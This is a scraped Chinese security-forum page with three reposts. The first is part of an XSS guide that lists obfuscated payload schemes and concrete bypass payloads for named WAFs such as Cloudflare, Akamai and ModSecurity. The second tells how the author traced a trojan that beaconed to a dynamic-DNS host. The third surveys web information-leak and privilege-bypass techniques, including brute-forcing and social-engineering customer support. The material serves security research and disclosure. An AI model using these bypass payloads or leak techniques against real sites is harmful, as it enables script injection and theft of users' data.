  • <tag/~/xxx[size=16] – 如果失败, [/size].*+
事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式onw+或黑名单相匹配,例如on(load|click|error|show)第一个正则表达式非常严格且不可能被绕过,然而有些不太知名的事件处理程序可能不在黑名单中,经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。
  • <tag{filler}onxxx[size=16] – 如果失败,[/size]onw+
  • [size=16]如果通过, [/size]on(load|click|error|show)
  • <tag{filler}onclick[size=16] – 如果通过,则没有事件处理程序检查正则表达式。[/size]
如果正则的结果是onw+,则不能绕过它,因为所有事件处理程序都以on开始。在这种情况下,应该继续下一个payload。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单,则应继续执行下一个payload。   根据我对WAF的经验,我发现一些事件处理程序没有在黑名单中:
[code]onauxclickondblclickoncontextmenuonmouseleaveontouchcancel
[/code]下一个要执行的组件是JavaScript代码。它是payload的活动部分,但是匹配它不需要假设正则表达式,因为JavaScript代码是活动的,因此无法通过预定义模式进行匹配。此时,payload的所有组件都放在一起,只需要关闭payload,通过以下方式完成:
  • <payload>
  • <payload
  • <payload{space}
  • <payload//
  • <payload%0a
  • <payload%0d
  • <payload%09
应该注意的是,HTML规范允许<tag{white space}{anything here}>这表明例如:
<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
是有效的HTML标签。因此,HTML标签的此属性使攻击者可以通过上述方式注入标签。 Payload方案#2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
测试填充符(例如结束字符串)类似先前的payload方案。必须注意的是,可以在URL的末尾使用(如果在URL之后没有使用填充符),而不是结束标记。每个经过的字符都将被视为URL的一部分,直到遇到。通过使用<script>标记,很可能会被大多数安全规则检测到。标签<object>的payload可以用类似的payload方案编写:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
  Payload方案#3这个payload方案有两种变体:plain和obfuscatable。plain变体通常与诸如href[s]{0,}=[s]{0,}javascript:模式相匹配。其结构如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
obfuscatable payload变体有如下结构:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
这两个变体之间的显著差异是{special}组件和{quote}s。
{special}[size=16]指字符串[/size]javascript[size=16]的混淆版本,这可以使用换行符和水平制表符来混淆,如下所示:[/size]
  • j%0aAv%0dasCr%09ipt:
  • J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
  • J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
在某些情况下,数字字符编码也可用于绕过检测。可以使用十进制和十六进制。
  • Javascript&colon;
  • javascript:
显然有必要时两种混淆技术可以一起使用。
  • Java%0a%0d%09script&colon;
  可执行和不可执行上下文根据注入的payload是否可以在没有任何特殊帮助的情况下执行,外标签上下文可以进一步分为可执行和不可执行上下文。当用户输入显示在HTML注释中时,<--$input-->或者在以下标记之间,会发生不可执行的上下文:
[code]<style><title><noembed><template><noscript><textarea>
[/code]为了执行payload,必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing tag}组件的测试,可以按如下方式进行:
  • </tag>
  • </tAg/x>
  • </tag{space}>
  • </tag//>
  • </tag%0a>
  • </tag%0d>
  • </tag%09>
一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section} 就可以用于成功注入  内部标签 在属性值内/作为属性值此上下文的主字符是用于包含属性值的引号。例如,如果输入被显示为<input value="$input" type="text">那么主字符应该是 然而在某些情况下,主字符不需要突破上下文。 在事件处理程序内部如果输入显示在与事件处理程序关联的值中,例如,<tag event_handler="function($input)";触发事件处理程序将执行该值中存在的JavaScript。  在src属性里面如果输入被显示为src脚本或iframe标记的属性值,例如<script src="$input">,可以直接加载恶意脚本(在脚本标记的情况下)或网页(在iframe标记的情况下)如下:
<script src="http://example.com/malicious.js">
绕过URL匹配正则表达式:
  • //example.com/xss.js[size=16]绕过 [/size]http(?s)://
  • ////////example.com/xss.js[size=16]绕过[/size](?:http(?s):?)?//
  • ////\/example.com/xss.js[size=16]绕过 [/size](?:http(?s):?)?//+

 在srcdoc属性里面
如果输入被显示为srcdoc
iframe标签的属性值,例如<iframe srcdoc="$input">,可以提供一个转义(使用HTML实体)HTML文档作为payload,如下所示:
<iframe srcdoc="<svg/onload=alert()>">

 通用属性
上述所有情况都不需要任何旁路技术,除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见,最常见的类型如下:
<input type="text" value=""/onfocus="alert()$input">

基于相关标签的交互性,它可以进而分为两类。

 可交互的
当输入显示在可以与例如点击,悬停,聚焦等交互的标签内时,突破上下文只需要引用一句话。在这种情况下的payload方案是:
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

可以使用以下探针完成检查是否被WAF阻止:
x"y

事件处理程序在这里起着重要作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,并且由用户来查找这样的情况,但是有一些事件处理程序可以绑定到下面列出的任何标签:
[code]onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
[/code]
测试其余组件可以使用前面已经讨论过的方法。

 难控制的
当输入显示在无法与之交互的标签内时,需要使用标签本身来执行payload。这种情况的payload方案是:
{quote}>{any payload scheme from html context section}

 JavaScript上下文
 作为字符串变量
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。
var name = '$input';

 Payload方案#1
{quote}{delimiter}{javascript}{delimiter}{quote}

分隔符通常是JavaScipt运算符,诸如。例如,如果用户输入落在单个带引号的字符串变量中,则payload可能是:
[code]'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
[/code]

 Payload方案#2
{quote}{delimiter}{javascript}//
它与之前的payload方案类似,只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是:
[code]'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
[/code]
 在代码块中
输入经常被显示到代码块中。例如,如果用户已付费订阅且超过18岁,则网页会执行某些操作。具有反射输入的JavaScript代码如下所示:
[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
[/code]
假设我们没有为订阅付费。为了解决这个问题,我们需要绕过if (subscription)块,这可以通过关闭条件块,函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将显示如下:
[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
[/code]
这里有个缩进视图用于了解payload的工作原理:
function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
}
);[size=16]关闭当前的函数调用。[/size]
第一个关闭if (age > 18)块。
第二个关闭if subscription块。
alert();[size=16]用作测试的虚拟函数。[/size]
if(true){[size=16]启动一个[/size]if [size=16]条件块以保持代码在语法上有效,因为代码后面有一个else块。[/size]
[size=16]最后,[/size]('[size=16]结合我们最初注入的函数调用的剩余部分。[/size]

它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程,建议使用语法高亮显示器,例如Sublime Text。
payload的结构取决于代码本身,这种不确定性使得检测非常困难。但如果有需要,可以对代码进行混淆处理。例如,上面代码块的payload可以写成:
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

如果输入显示到JavaScript代码中,无论它是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试,因为它很简单但也可能被检测到。

 当前绕过WAF方案
在研究期间,共绕过了8个WAF。我对这些供应商进行了披露,因此一些(或所有)旁路可能因此被修补。以下是绕过的WAF名称,payload和旁路技术列表:
名称: Cloudflare
payload: 
<a"/onclick=(confirm)()>click

旁路技术:非空白填充
名称: Wordfence
Payload: 
<a/href=javascript&colon;alert()>click

旁路技术:数字字符编码
名称: Barracuda
Payload: 
<a/href=Java%0a%0d%09script&colon;alert()>click

旁路技术:数字字符编码
名称: Akamai
payload: 
<d3v/onauxclick=[2].some(confirm)>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: Comodo
Payload: 
<d3v/onauxclick=(((confirm)))``>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: F5
payload: 
<d3v/onmouseleave=[2].some(confirm)>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: ModSecurity
payload: 
<details/open/ontoggle=alert()>

旁路技术:黑名单中缺少标签(或事件处理程序)
名称: dotdefender
payload: 
<details/open/ontoggle=(confirm)()//

旁路技术:黑名单中缺少标签或函数调用混淆以及可替换的结束标签
转自:https://www.anquanke.com/post/id/173701

记一次木马的发现[转]

网络安全你可以叫我风平 发表了文章 • 0 个评论 • 105 次浏览 • 2019-03-23 18:19 • 来自相关话题

        昨天清理磁盘,整理旧文件的时候,轻信直接打开了wooyun zone里某位白帽子分享的工具,一时大意,中马了。
        PC机上有个360安全卫士,也没有一丁点的提示。。。(这木马过360的)
        随后我在修改subDomainsBrute的时候,抓dns query,惊讶地发现,出现了一个3322.org的域名,并且对应记录是不存在的,如下图:





 
        以前玩远控木马的同学可能知道,3322.0rg,花生壳之类的,常常被用来木马在内网反向上线的。所以,这个地方十分不正常,这让我意识到,有较大的几率已经中马了。
       用360安全卫士扫描,没有发现任何木马和危险项,之前也提到了,这个木马是过360的。
       现在的问题是,如何抓到这个木马,我绕了一个弯子,因为我想从dns query入手来查找(正确的做法是打开进程查看器,逐个进程检查):
1.我们已经知道,木马会主动去连likang.3322.org,但是wireshark是抓不到进程pid,它仅仅支持从某一网卡抓包,并不关心包来自于哪个进程
 
2.即使能抓到DNS查询的对应进程,其实也只能抓到windows下的DNS Client:svchost.exe进程,实际并无意义,我们依然不知道背后到底是哪个进程在请求likang.3322.org
        在抓dns query源进程受阻的情况下,我想到,既然木马想访问likang.3322.org,而这个域名又不存在。 那么我应该可以欺骗它去访问我自己的服务器,我修改hosts文件,添加:
11.22.33.44 likang.3322.org        这个时候,我应该可以抓到访问likang.3322.org的其他请求了。
 
        我用smartsniff抓包,发现有到目标11.22.33.44的http request,木马会请求likang.3322.org/ip.txt看起来像是一个DDOS木马,下载攻击目标的。
 
        这个时候我还是没抓到进程,对应的likang.3322.org/ip.txt文件并不存在,http request一瞬间就结束了,tcp查看工具因为刷新频率的原因,还看不到对应的进程。
于是我在11.22.33.44上python起了一个http server,并且让get请求hang住,sleep 30s,最终抓到了对应的进程:




       如图,QQ进程:





        总结一下,上面也说到,正确的做法,应该是查看进程列表,然后逐个检查进程是否正常,从 启动时间 |  可执行文件的创建日期 等特征对比。
      绕个弯子,换了个思路。
 
 
  查看全部
        昨天清理磁盘,整理旧文件的时候,轻信直接打开了wooyun zone里某位白帽子分享的工具,一时大意,中马了。
        PC机上有个360安全卫士,也没有一丁点的提示。。。(这木马过360的)
        随后我在修改subDomainsBrute的时候,抓dns query,惊讶地发现,出现了一个3322.org的域名,并且对应记录是不存在的,如下图:

likang.3322_.org__.png

 
        以前玩远控木马的同学可能知道,3322.0rg,花生壳之类的,常常被用来木马在内网反向上线的。所以,这个地方十分不正常,这让我意识到,有较大的几率已经中马了。
       用360安全卫士扫描,没有发现任何木马和危险项,之前也提到了,这个木马是过360的。
       现在的问题是,如何抓到这个木马,我绕了一个弯子,因为我想从dns query入手来查找(正确的做法是打开进程查看器,逐个进程检查):
1.我们已经知道,木马会主动去连likang.3322.org,但是wireshark是抓不到进程pid,它仅仅支持从某一网卡抓包,并不关心包来自于哪个进程
 
2.即使能抓到DNS查询的对应进程,其实也只能抓到windows下的DNS Client:svchost.exe进程,实际并无意义,我们依然不知道背后到底是哪个进程在请求likang.3322.org
        在抓dns query源进程受阻的情况下,我想到,既然木马想访问likang.3322.org,而这个域名又不存在。 那么我应该可以欺骗它去访问我自己的服务器,我修改hosts文件,添加:
11.22.33.44	likang.3322.org
        这个时候,我应该可以抓到访问likang.3322.org的其他请求了。
 
        我用smartsniff抓包,发现有到目标11.22.33.44的http request,木马会请求likang.3322.org/ip.txt看起来像是一个DDOS木马,下载攻击目标的。
 
        这个时候我还是没抓到进程,对应的likang.3322.org/ip.txt文件并不存在,http request一瞬间就结束了,tcp查看工具因为刷新频率的原因,还看不到对应的进程。
于是我在11.22.33.44上python起了一个http server,并且让get请求hang住,sleep 30s,最终抓到了对应的进程:
virus_found.png

       如图,QQ进程:

process_QQ.png

        总结一下,上面也说到,正确的做法,应该是查看进程列表,然后逐个检查进程是否正常,从 启动时间 |  可执行文件的创建日期 等特征对比。
      绕个弯子,换了个思路。
 
 
 

挖洞技巧:信息泄露总结(转)

Web安全渗透main 发表了文章 • 0 个评论 • 135 次浏览 • 2019-03-20 12:23 • 来自相关话题

Web方面的信息泄露:

0x01  用户信息泄露:

①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
  ②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url] ④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。 

0x02  越权方面的用户信息泄露

①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 ②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。 ③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 

0x03 接口方面的用户信息泄露

很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 

0x04 注入方面的用户信息泄露

注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。 

0x05  服务器路径信息泄露

①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!
  

0x06  员工信息泄露

①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题! 

0x07  数据库信息以及服务器信息泄露

①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题! 查看全部
Web方面的信息泄露:


0x01  用户信息泄露:


①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
 
 
②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。
③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url]
 
④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。
⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。
 


0x02  越权方面的用户信息泄露


①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 
②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。
 
③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 


0x03 接口方面的用户信息泄露


很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 


0x04 注入方面的用户信息泄露


注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。
 


0x05  服务器路径信息泄露


①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。
②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html
③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!

  


0x06  员工信息泄露


①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题!
 


0x07  数据库信息以及服务器信息泄露


①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中
②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。
③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

